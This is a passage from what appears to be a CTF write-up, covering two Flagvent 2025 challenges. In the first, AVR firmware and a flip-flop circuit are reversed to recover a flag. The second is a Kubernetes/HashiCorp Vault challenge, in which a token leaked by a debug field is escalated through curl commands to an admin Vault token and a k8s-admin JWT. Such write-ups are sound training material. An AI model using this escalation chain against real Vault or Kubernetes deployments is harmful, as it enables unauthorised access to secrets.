00000070: 2a00 0000 0000 2500 2800 2b00 0000 0000 *.....%.(.+.....
00000080: 2300 2600 2900 0404 0404 0404 0404 0202 #.&.)...........
00000090: 0202 0202 0303 0303 0303 0102 0408 1020 ...............
I’ll load this into Ghidra using AVR8 atmega256:
Main Loop 0x35e
The main check loop happens at 0x35e. Y is the stack pointer, and at Y + 1 is where the user input starts. A bit in, it loops over the input to get the length of the data. Then there’s this check:
It makes sure that the flag starts with “FV25{“ and ends with “}”.
The loop that follows is structured like:
if ((byte)R25R24 == '}') {
encrypt_flag();
Z = (byte *)(Y + 6);
/* R7R6 = encrypted_ptr, starts at Y+6 (flag content after "FV25{") */
R7R6 = Z;
do {
/* Outer loop: iterate over each encrypted byte (32 bytes total) */
...
do {
/* Inner loop: output 8 bits per byte via GPIO bit-banging */
...
/* Write bit to GPIO, then delay (R13R12=0x18b, R15R14=0x63b cycles) */
gpio_write_bit();
...
/* Loop until bit_index reaches 8 */
} while (bVar9 != 8 || ...);
/* Loop until encrypted_ptr reaches buffer_end (R3R2) */
} while (...);
}
In this code, the following registers are used:
| Register | Purpose |
|---|---|
| R7R6 | Pointer to current encrypted byte (starts at Y+6) |
| R3R2 | End of buffer pointer (Y + 0x2c) |
| R16 | Bit index counter (0-7) |
| R13R12 | Delay constant (0x18b = 395 cycles) |
| R15R14 | Delay constant (0x63b = 1595 cycles) |
Once that loop breaks, it reads from the GPIO from pin 3:
LAB_code_0004f8:
/* Invalid flag - output "invalid" message (0x3aa) */
R23R22._0_1_ = 0xaa;
}
else {
if (DAT_codebyte_0000b1 != R1) {
*(undefined3 *)(uVar7 - 0x2e) = 0x4b7;
FUN_code_000199();
}
Z = (byte *)CONCAT11(CARRY1(R17,R17) - (((byte)(R17 * '\x02') < 0x84) + -1),
R17 * '\x02' + 0x7c);
puVar6 = (undefined1 *)ZEXT23(Z);
X._0_1_ = *puVar6;
Z = (byte *)((int)Z + 1);
X._1_1_ = *(undefined1 *)ZEXT23(Z);
/* Read GPIO input port (pin 3) - circuit output */
R25R24._0_1_ = *X;
/* AND with bit mask - if non-zero, pin 3 is HIGH = VALID */
R16 = R16 & (byte)R25R24;
if (R16 == 0) goto LAB_code_0004f8;
/* Valid flag - output "valid" message (0x3ac) */
R23R22._0_1_ = 0xac;
}
encrypt_flag
The encrypt_flag function takes an array of bytes and encrypts them. There are three tables loaded into RAM (copied from flash in startup_init):
| Address | Size | Purpose |
|---|---|---|
| 0x100 | 76 bytes (38 × 2) | Permutation table (16-bit indices) |
| 0x14c | 512 bytes (256 × 2) | S-box lookup table |
| 0x34c | 76 bytes (38 × 2) | XOR key bytes |
For each position 0 to 37 in the input:
- PERMUTATION:
index = perm_table[i]; char = input[index] - S-BOX:
substituted = sbox[char] - XOR:
output[i] = substituted ^ xor_keys[i]
In pseudocode, it looks like:
def encrypt_flag(input): # input is 38-byte flag "FV25{...}"
output = []
for i in range(38):
# Get permuted index (which input char to use)
perm_idx = perm_table[i] # 16-bit value
char = input[perm_idx]
# S-box substitution
sbox_val = sbox[ord(char)]
# XOR with key
result = sbox_val ^ xor_keys[i]
output.append(result)
return output # 38 encrypted bytes
Circuit
The circuit has two main parts, a counter and a finite state machine (FSM).
Counter
The counter is at the bottom right of the diagram when I load the circuit into Falstad:
Here I’ve isolated the counter, replacing the input from the FSM with a logical input set to low. It’s a series of 6 T flip flops. At the start (after hitting “Reset”), all the Q outputs are 0. The first time the logical input goes from L to H (which I can do by clicking it), all the Q outputs turn on:
I’ll click again, and the input goes to L, but nothing else changes. The T flip flop like this only changes when the input goes L to H. I’ll wait a second, and click it back to H, and the first Q turns off:
The second T flip flops input went from H to L, but there’s no change on that. And nothing else changes. If I toggle the input to L and then to H again, I’ll see the T0 turns back on, and this time, that triggers T1 to flop (turning off):
Another round just turns T0 back on, and then the next turns T0 and T1 off, and T2 on. This is forming a binary counter! The first transition to H turns it on, and then after that T0-T6 are bits, where Q’ is the 1 and Q is the 0.
Looking at the end, there’s an AND gate that requires T0 (1), T1 (2), T4 (8), and T6 (32):
The 4 and 16 bits are not going to the gate. So by that logic, it should take 44 L –> H from the FSM to light up pin s3.
But, there’s a catch. Before the firmware starts sending the encrypted bytes into the circuit, it triggers pin s4, which is the reset. I’ll replace it with a digital input here, reset the simulation, and then activate it:
The initial state has T0 and T2 on, which is a count of 5 (or 6 if I was counting the reset). So to get to 43 only takes 38 transitions, not 44. You can play with this circuit here.
FSM
So the FSM must produce 38 low to high transitions. The FSM has three flip flops that hold the states, which I’ll label as D0, D1, and D2:
Each time a new state comes in on pin/s6, the original values of D0, D1, and D2 plus that state will form an output value and generate new values for the flip flops.
By tracing the wires I can look at each flip flop and see what the next state will be based on the current values. For example, D0:
D0 = (D0 and not D1 and not pin/s6) or (D0 and D1 and not D2 and pins/s6) or (not D0 and D1 and D2 and not pin/s6)
I’ll generate a Python script that models this state machine:
class FSM:
def __init__(self):
self.D = {i: False for i in range(3)}
self.F = False
def process_bit(self, state: bool):
D0 = (
(self.D[0] and not self.D[1] and not state) or
(self.D[0] and self.D[1] and not self.D[2] and state) or
(not self.D[0] and self.D[1] and self.D[2] and not state)
)
D1 = (
(self.D[0] and not self.D[1] and self.D[2]) or
(not self.D[0] and self.D[2] and state) or
(self.D[0] and not self.D[2] and state) or
(not self.D[0] and self.D[1] and not self.D[2] and not state)
)
D2 = (
(self.D[0] and self.D[1] and not self.D[2]) or
(not self.D[0] and not self.D[1] and not state) or
(not self.D[2] and not state)
)
self.F = self.D[0] and self.D[1] and self.D[2] and not state
self.D = {0: D0, 1: D1, 2: D2}
def process_byte(self, byte: int):
for i in range(8):
self.process_bit(bool((byte >> i) & 1))
Now I can try all 256 possible bytes and see if any generate a F of 1:
for i in range(256):
fsm = FSM()
fsm.process_byte(i)
if fsm.F:
print(hex(i), fsm.F, fsm.D)
For all possible bytes, only one returns true at F:
oxdf@hacky$ uv run brute.py
0x42 True {0: False, 1: False, 2: False}
At first I thought I now needed to brute force the possible bytes from this spot, but it turns out that because I am looking for D0, D1, and D2 all False, this is back in the starting position. So the encrypted password is 38 0x42s, or 38 “B”.
Decrypt
I’ll use what I reversed above to generate a simple Python script to decrypt the encrypted password:
import struct
with open('firmware.bin', 'rb') as f:
data = f.read()
perm_table = [struct.unpack('<H', data[0xa9a + i*2:0xa9a + i*2 + 2])[0] for i in range(38)]
sbox = [data[0xae6 + i*2] for i in range(256)]
xor_keys = [data[0xce6 + i*2] for i in range(38)]
inv_sbox = {sbox[i]: i for i in range(256)}
result = ['?'] * 38
for i in range(len(result)):
sbox_val = ord("B") ^ xor_keys[i]
char_ord = inv_sbox[sbox_val]
perm_idx = perm_table[i]
result[perm_idx] = chr(char_ord)
print('FV25{' + ''.join(result) + '}')
The input byte for each character is “B”, and the result is the flag:
oxdf@hacky$ uv run ./decrypt.py
FV25{h4ving_fun_w1th_go0d_0ld_d1git4l_l0gic}
Flag: FV25{h4ving_fun_w1th_go0d_0ld_d1git4l_l0gic}
FV25.13
Challenge
we heard you don’t like pwn, try this instead |
|
| Categories: |
|
| Level: | leet |
| Authors: | cfi2017, coderion |
| Spawnable Instances: |
|
The spawn button returns two web urls.
Enumeration
Frontend
The frontend site is a website to handle secrets:
I can add a wish, and it shows up on the right:
The “vault:v1:” format suggest this could be a
Creating a secret sends a POST request:
POST /apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes HTTP/1.1
Host: afe7770b-8adc-423f-ab98-1316a1d83216.challs.flagvent.org:31337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://afe7770b-8adc-423f-ab98-1316a1d83216.challs.flagvent.org:31337/
Content-Type: application/json
Content-Length: 134
Origin: https://afe7770b-8adc-423f-ab98-1316a1d83216.challs.flagvent.org:31337
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"apiVersion":"ctf.flagvent.org/v1alpha1","kind":"Note","metadata":{"name":"0xdf123","namespace":"default"},"spec":{"message":"Flag"}}
There’s a bit more in the body than I had entered. The path /apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes is also interesting. This path looks very much like a Kubernetes API path.
The response has some data, but not all of what shows up on the page:
HTTP/1.1 201 Created
Server: nginx/1.29.4
Date: Tue, 23 Dec 2025 11:53:18 GMT
Content-Type: application/json
Content-Length: 720
Connection: keep-alive
Audit-Id: d97f959b-2f88-4561-aa80-77ffae71c22e
Cache-Control: no-cache, private
X-Kubernetes-Pf-Flowschema-Uid: 6e7ea055-a8a4-42f4-ae0c-87f5a3428675
X-Kubernetes-Pf-Prioritylevel-Uid: 337e9b5f-4e03-4cae-a7d3-15d98dc05b01
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Note",
"metadata": {
"creationTimestamp": "2025-12-23T11:53:18Z",
"generation": 1,
"managedFields": [
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:spec": {
".": {},
"f:debug": {},
"f:message": {}
}
},
"manager": "Mozilla",
"operation": "Update",
"time": "2025-12-23T11:53:18Z"
}
],
"name": "0xdf123",
"namespace": "default",
"resourceVersion": "462",
"uid": "cd81b197-1ab2-4b60-959a-e9630c678186"
},
"spec": {
"debug": false,
"message": "Flag"
}
}
The response has Kubernetes-based headers. There are two fields in the spec, debug and message. I’ll note that I didn’t include a debug value in that request, and it got set to false by default.
Every few seconds the page makes a GET request to /apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets, which returns the data to display in the vault:
HTTP/1.1 200 OK
Server: nginx/1.29.4
Date: Tue, 23 Dec 2025 11:53:21 GMT
Content-Type: application/json
Content-Length: 1907
Connection: keep-alive
Audit-Id: 39896998-8b31-477b-a2d9-93d4cae621dd
Cache-Control: no-cache, private
X-Kubernetes-Pf-Flowschema-Uid: 6e7ea055-a8a4-42f4-ae0c-87f5a3428675
X-Kubernetes-Pf-Prioritylevel-Uid: 337e9b5f-4e03-4cae-a7d3-15d98dc05b01
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"items": [
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Secret",
"metadata": {
"creationTimestamp": "2025-12-23T11:53:19Z",
"generation": 1,
"managedFields": [
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:spec": {
".": {},
"f:ciphertext": {},
"f:transitKey": {},
"f:transitMount": {}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"time": "2025-12-23T11:53:19Z"
},
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:status": {
".": {},
"f:createdAt": {},
"f:sourceNote": {
".": {},
"f:name": {},
"f:namespace": {}
}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"subresource": "status",
"time": "2025-12-23T11:53:19Z"
}
],
"name": "0xdf123",
"namespace": "default",
"resourceVersion": "464",
"uid": "e10bea5d-9c79-4e1a-a8f5-71a5bd987764"
},
"spec": {
"ciphertext": "vault:v1:KeKKWQ8THQrWxigaSXMfNZf32iAEzv7xVnrbH/E323o=",
"transitKey": "ctf",
"transitMount": "transit"
},
"status": {
"createdAt": "2025-12-23T11:53:19.021870+00:00",
"sourceNote": {
"name": "0xdf123",
"namespace": "default"
}
}
}
],
"kind": "SecretList",
"metadata": {
"continue": "",
"resourceVersion": "468"
}
}
So I create Note objects, and then fetch Secret objects to display. The ciphertext has the format vault:v1:[base64], which is the Hashicorp Vault application.
This system is setup using Custom Resource Definitions (CRDs), which are just data objects stored in the K8s API server.
┌─────────────────────────────────────────────────────┐
│ K8s API Server │
│ ┌─────────────┐ ┌─────────────┐ │
│ │ Note CRD │ │ Secret CRD │ (just data) │
│ └─────────────┘ └─────────────┘ │
└─────────────────────────────────────────────────────┘
│ ▲
│ watches │ creates
▼ │
┌─────────────────────────────────────────────────────┐
│ Controller (separate process) │
│ - Watches for new Notes │
│ - Calls Vault API to encrypt message │
│ - Creates Secret with ciphertext │
│ - Deletes the original Note │
└─────────────────────────────────────────────────────┘
│ ▲
│ encrypt request │ ciphertext response
▼ │
┌─────────────────────────────────────────────────────┐
│ Vault/OpenBao │
│ - Transit encryption engine │
└─────────────────────────────────────────────────────┘
This is a common K8s pattern:
- User creates a custom resource (Note)
- A controller watches for changes
- Controller does work (encrypt via Vault)
- Controller updates/creates other resources (Secret)
Backend
The backend page just returns 404 page not foud:
This is the default 404 page for Gin, a web framework written in Go. I already suspect this is Hashicorp Vault. I’ll check the /v1/sys/health endpoint which confirms it:
Vault Token
Leak via Debug
I’ll send another Note object, this time explicitly setting debug to true:
Having debug enabled adds an additional field to the status JSON:
oxdf@hacky$ curl -s "https://3019a9a9-0493-4ef3-b9e5-d4bb1e2bfd75.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets" | jq -c '.items[].status | keys'
["createdAt","sourceNote"]
["createdAt","debug","sourceNote"]
oxdf@hacky$ curl -s "https://3019a9a9-0493-4ef3-b9e5-d4bb1e2bfd75.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets" | jq '.items[1].status.debug'
{
"note": "Debug should not be used in production.",
"vaultRequest": {
"body": {
"plaintext": "ZGF0YQ=="
},
"headers": {
"Content-Type": "application/json",
"X-Vault-Token": "sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc"
},
"method": "POST",
"path": "/v1/transit/encrypt/ctf",
"url": "http://secrets:8208/v1/transit/encrypt/ctf"
}
}
With debug mode, I’ve leaked two important bits of information. First, /v1/transit/encrypt/ctf is the Vault’s Transit Secrets Engine. “ctf” is the key name.
There is also a X-Vault-Token, which should be the token used to authenticate to the Vault.
There’s an easter egg in the token. If I uppercase the letters and add back in the necessary padding, this token base32-decodes to a Rick Roll:
oxdf@hacky$ echo nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc=== | tr a-z A-Z | base32 -d
https://www.youtube.com/watch?v=dQw4w9WgXcQ
Enumerate Token Policies
With this token, I’ll want to find out what policies are attached to it using the backend API:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/auth/token/lookup-self" -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" | jq .
{
"request_id": "e960e062-25be-ddad-6204-4743772de851",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"accessor": "VPEdqfIcNrRZoe2i2WzXPMG9",
"creation_time": 1766753576,
"creation_ttl": 86400,
"display_name": "token",
"entity_id": "",
"expire_time": "2025-12-27T12:52:56.979644178Z",
"explicit_max_ttl": 0,
"id": "sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc",
"issue_time": "2025-12-26T12:52:56.979650968Z",
"meta": null,
"num_uses": 0,
"orphan": true,
"path": "auth/token/create",
"period": 86400,
"policies": [
"ctf-encrypt-only",
"default"
],
"renewable": true,
"ttl": 83305,
"type": "service"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
There are two policies, “ctf-encrypt-only” and “default”.
The “ctf-encrypt-only” policy is very restrictive:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/sys/policies/acl/ctf-encrypt-only" -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" | jq -r '.data.policy'
path "transit/encrypt/ctf" {
capabilities = ["update"]
}
path "transit/keys/ctf" {
capabilities = ["read"]
}
It can encrypt data and read key metadata.
The default policy can do much more:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/sys/policies/acl/default" -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" | jq -r '.data.policy'
path "auth/token/lookup-self" {
capabilities = ["read"]
}
# Allow tokens to renew themselves
path "auth/token/renew-self" {
capabilities = ["update"]
}
# Allow tokens to revoke themselves
path "auth/token/revoke-self" {
capabilities = ["update"]
}
# Allow tokens to renew themselves
path "auth/token/create" {
capabilities = ["update", "sudo"]
}
# Allow a token to look up its own capabilities on a path
path "sys/capabilities-self" {
capabilities = ["update"]
}
# Allow a token to look up its own entity by id or name
path "identity/entity/id/" {
capabilities = ["read"]
}
path "identity/entity/name/" {
capabilities = ["read"]
}
# Allow a token to look up its resultant ACL from all policies. This is useful
# for UIs. It is an internal path because the format may change at any time
# based on how the internal ACL features and capabilities change.
path "sys/internal/ui/resultant-acl" {
capabilities = ["read"]
}
# Allow a token to renew a lease via lease_id in the request body; old path for
# old clients, new path for newer
path "sys/renew" {
capabilities = ["update"]
}
path "sys/leases/renew" {
capabilities = ["update"]
}
# Allow looking up lease properties. This requires knowing the lease ID ahead
# of time and does not divulge any sensitive information.
path "sys/leases/lookup" {
capabilities = ["update"]
}
# Allow a token to manage its own cubbyhole
path "cubbyhole/*" {
capabilities = ["create", "read", "update", "delete", "list"]
}
# Allow a token to wrap arbitrary values in a response-wrapping token
path "sys/wrapping/wrap" {
capabilities = ["update"]
}
# Allow a token to look up the creation time and TTL of a given
# response-wrapping token
path "sys/wrapping/lookup" {
capabilities = ["update"]
}
# Allow a token to unwrap a response-wrapping token. This is a convenience to
# avoid client token swapping since this is also part of the response wrapping
# policy.
path "sys/wrapping/unwrap" {
capabilities = ["update"]
}
# Allow general purpose tools
path "sys/tools/hash" {
capabilities = ["update"]
}
path "sys/tools/hash/*" {
capabilities = ["update"]
}
# Allow a token to make requests to the Authorization Endpoint for OIDC providers.
path "identity/oidc/provider/+/authorize" {
capabilities = ["read", "update"]
}
# Allow everyone to audit policies
path "sys/policies/acl" {
capabilities = ["list"]
}
path "sys/policies/acl/*" {
capabilities = ["read"]
}
Most interesting to me is this:
path "auth/token/create" {
capabilities = ["update", "sudo"]
}
This means it can create new tokens with any policy.
Vault Privesc
I’ll get a list of all the available policies on this instance:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/sys/policies/acl" -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" -X LIST | jq .
{
"request_id": "fc929523-8388-f858-9587-cc7c4b9ceb1a",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"keys": [
"admin",
"ctf-encrypt-only",
"default",
"root"
]
},
"wrap_info": null,
"warnings": null,
"auth": null
}
admin and root both look useful. admin is the one with full capabilities:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/sys/policies/acl/admin" -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" | jq -r '.data.policy'
path "*" {
capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}
I’ll create a token with admin:
oxdf@hacky$ curl -s "https://396a3ee8-8cac-4d14-8204-527d58fbc1fc.challs.flagvent.org:31337/v1/auth/token/create" -X POST -H "X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc" -H "Content-Type: application/json" -d '{"policies": ["admin"]}' | jq .
{
"request_id": "5fb2d876-e422-7ead-dabd-a1d2b88b0fc3",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": null,
"wrap_info": null,
"warnings": null,
"auth": {
"client_token": "s.hgqdzDOnNCPMep5XK36BxFe8",
"accessor": "sXOznc2TdLhHonU6a8lTucbM",
"policies": [
"admin",
"default"
],
"token_policies": [
"admin",
"default"
],
"metadata": null,
"lease_duration": 2764800,
"renewable": true,
"entity_id": "",
"token_type": "service",
"orphan": false,
"mfa_requirement": null,
"num_uses": 0
}
}
This new token, s.hgqdzDOnNCPMep5XK36BxFe8, has admin privileges. I can use to to decrypt a message I made earlier:
oxdf@hacky$ curl -s "https://72a1c427-21ef-475b-8790-d80eae9c4fea.challs.flagvent.org:31337/v1/transit/decrypt/ctf" -H "X-Vault-Token: s.wofNRcg6T5BBuqaY67ypZuxm" -H "Content-Type: application/json" -d '{"ciphertext": "vault:v1:pkJ7cxe40xLVEX+3A/VtjCJi8seKEsS6KWP6Wu6GF+ivGe4oc6yE7adI79yqjBvygN0="}' | jq -r '.data.plaintext' | base64 -d
this is a test message
Flag
Get K8 Token
Vault can act as an OpenID Connect (OIDC) identity provider. I’ll list the roles defined in the Vault’s identity secrets engine:
oxdf@blake:~/flagvent2025/day13$ curl -s 'https://5e1186d3-f32d-43be-9f36-9a0aaa4995db.challs.flagvent.org:31337/v1/identity/oidc/role?list=true' -H 'X-Vault-Token: s.ijMpFMsL4ZAF5pakhOmBGATl'
{"request_id":"6a77458f-c6bb-d736-0430-e4e5ad813172","lease_id":"","renewable":false,"lease_duration":0,"data":{"keys":["k8s-admin"]},"wrap_info":null,"warnings":null,"auth":null}
One is named k8s-admin, which suggests the Vault is configured to issue JWTs for K8s access. My admin token has that role:
oxdf@blake:~/flagvent2025/day13$ curl -s 'https://5e1186d3-f32d-43be-9f36-9a0aaa4995db.challs.flagvent.org:31337/v1/auth/token/roles?list=true' -H 'X-Vault-Token: s.ijMpFMsL4ZAF5pakhOmBGATl'
{"request_id":"3264219c-5971-115b-5271-1584a55edb87","lease_id":"","renewable":false,"lease_duration":0,"data":{"keys":["k8s-admin"]},"wrap_info":null,"warnings":null,"auth":null}
In order to use this token to authenticate, I need to associate an entity (user) with the token on the Vault. Without that, I’ll get:
oxdf@blake:~/flagvent2025/day13$ curl -s 'https://5e1186d3-f32d-43be-9f36-9a0aaa4995db.challs.flagvent.org:31337/v1/identity/oidc/token/k8s-admin' -H 'X-Vault-Token: s.ijMpFMsL4ZAF5pakhOmBGATl'
{"errors":["no entity associated with the request's token"]}
I’ll create an entity:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/identity/entity" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" -H "Content-Type: application/json" -d '{"name": "0xdf"}'
{"request_id":"3404c7a3-b9f9-b95c-dc58-246c944f6999","lease_id":"","renewable":false,"lease_duration":0,"data":{"aliases":null,"id":"fbf551c7-e23a-323e-9a2b-4b536dd82c87","name":"0xdf"},"wrap_info":null,"warnings":null,"auth":null}
I’ll note that ID for later. I’ll need a couple more pieces of information to link the entity to a specific auth mount. I’ll get the auth mount accessor id:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/sys/auth" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" | jq -r '.["token/"].accessor'
auth_token_aead4ce4
The only alias name that’s allowed in the k8s-admin role is cluster-admin:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/auth/token/roles/k8s-admin" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" | jq .
{
"request_id": "caa3f589-f1da-6c42-2dff-a41c10eb1d91",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"allowed_entity_aliases": [
"cluster-admin"
],
"allowed_policies": [],
"allowed_policies_glob": [],
"disallowed_policies": [],
"disallowed_policies_glob": [],
"explicit_max_ttl": 0,
"name": "k8s-admin",
"orphan": true,
"path_suffix": "",
"period": 0,
"renewable": true,
"token_explicit_max_ttl": 0,
"token_no_default_policy": false,
"token_period": 0,
"token_type": "default-service"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
Now I can use all of that to create a link:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/identity/entity-alias" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" -H "Content-Type: application/json" -d '{"name": "cluster-admin", "canonical_id": "fbf551c7-e23a-323e-9a2b-4b536dd82c87", "mount_accessor": "auth_token_aead4ce4"}'
{"request_id":"9d05c8ae-630c-a4ea-812a-3014f6ed47be","lease_id":"","renewable":false,"lease_duration":0,"data":{"canonical_id":"fbf551c7-e23a-323e-9a2b-4b536dd82c87","id":"42c8c99b-6a06-c8f2-911d-a8bd4ff950ad"},"wrap_info":null,"warnings":null,"auth":null}
All of that creates a link between my entity (0xdf), the token auth mount (auth_token_aead4ce4), and the alias name (cluster-admin). Now when I create a token using the k8s-admin role with entity_alias: “cluster-admin”, Vault will nook up the alias named cluster-admin in the token auth mount, find it’s linked to my entity, and create a token that’s associated with that entity.
I’ll get a Vault auth token for this new entity:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/auth/token/create/k8s-admin" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" -H "Content-Type: application/json" -d '{"entity_alias": "cluster-admin"}'
{"request_id":"a108953d-8884-29a1-04df-2fc785b55b77","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":null,"auth":{"client_token":"s.p6kHgIXcEfKyP23czOkwhQp4","accessor":"CBIjZhdGi0UJqOAmabzRLNV1","policies":["admin","default"],"token_policies":["admin","default"],"metadata":null,"lease_duration":2764800,"renewable":true,"entity_id":"fbf551c7-e23a-323e-9a2b-4b536dd82c87","token_type":"service","orphan":true,"mfa_requirement":null,"num_uses":0}}
Now I switch to the new token and request a JWT for the K8s:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/identity/oidc/token/k8s-admin" -H "X-Vault-Token: s.p6kHgIXcEfKyP23czOkwhQp4"
{"request_id":"ab747356-927e-c19c-623b-e72af433280d","lease_id":"","renewable":false,"lease_duration":0,"data":{"client_id":"k8s","token":"eyJhbGciOiJSUzI1NiIsImtpZCI6ImJkNDNkMWRjLWJkNzEtZDg1NC01MTE2LTI5YjJjMTg2YWIxNyJ9.eyJhdWQiOiJrOHMiLCJleHAiOjE3NjY3OTMyNDMsImdyb3VwcyI6WyJhZG1pbiJdLCJpYXQiOjE3NjY3ODk2NDMsImlzcyI6Imh0dHBzOi8vc2VjcmV0czo4MjAwL3YxL2lkZW50aXR5L29pZGMiLCJuYW1lc3BhY2UiOiJyb290Iiwic3ViIjoiZmJmNTUxYzctZTIzYS0zMjNlLTlhMmItNGI1MzZkZDgyYzg3In0.NHkJlVamPjI8Jf5l1uZDTsG9s4d34m8cadgX1-RcVx65bIoto9ObhofWRIwNtVw8E3E8eEOTe3LUWDc40KwyQeK3GGgP5srFM3PJzblBgTy9W43LkN9xIMjWWuYootue4uwLgaSRQoiL4F_JlwcUDoyQyF0A0wE_EFaGtPtFkyVgNNrJlqA7GG4F5p86k8syyEmYUbvr5pASN8YQlOTz0ZWGJ05EtpreRgkkIyD3lGW4qjUkT4ASAfgjdx3gl9nv-5tZixEzxDwcEVkR0aT3Mbs_afmgrL6aT4L_PYFSpfU6a36cpExdcbvCFkcPTXRl3NO38w-2aAx6tevbpcfZDQ","ttl":3600},"wrap_info":null,"warnings":null,"auth":null}
List Secrets
There are no secrets in the K8s list:
oxdf@blake:~/flagvent2025/day13$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6ImJkNDNkMWRjLWJkNzEtZDg1NC01MTE2LT
I5YjJjMTg2YWIxNyJ9.eyJhdWQiOiJrOHMiLCJleHAiOjE3NjY3OTMyNDMsImdyb3VwcyI6WyJhZG1pbiJdLCJpYXQiOjE3NjY3ODk2NDMsI
mlzcyI6Imh0dHBzOi8vc2VjcmV0czo4MjAwL3YxL2lkZW50aXR5L29pZGMiLCJuYW1lc3BhY2UiOiJyb290Iiwic3ViIjoiZmJmNTUxYzctZ
TIzYS0zMjNlLTlhMmItNGI1MzZkZDgyYzg3In0.NHkJlVamPjI8Jf5l1uZDTsG9s4d34m8cadgX1-RcVx65bIoto9ObhofWRIwNtVw8E3E8e
EOTe3LUWDc40KwyQeK3GGgP5srFM3PJzblBgTy9W43LkN9xIMjWWuYootue4uwLgaSRQoiL4F_JlwcUDoyQyF0A0wE_EFaGtPtFkyVgNNrJl
qA7GG4F5p86k8syyEmYUbvr5pASN8YQlOTz0ZWGJ05EtpreRgkkIyD3lGW4qjUkT4ASAfgjdx3gl9nv-5tZixEzxDwcEVkR0aT3Mbs_afmgr
L6aT4L_PYFSpfU6a36cpExdcbvCFkcPTXRl3NO38w-2aAx6tevbpcfZDQ
oxdf@blake:~/flagvent2025/day13$ curl -s "https://3fdc655b-1097-4452-80e0-9cdf84c5dca2.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets" -H "Authorizatoin: Bearer $TOKEN"
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"items": [],
"kind": "SecretList",
"metadata": {
"continue": "",
"resourceVersion": "638"
}
}
I haven’t created any yet on this instance, but if I did, they would show up here. I’ll list the secrets in all namespaces:
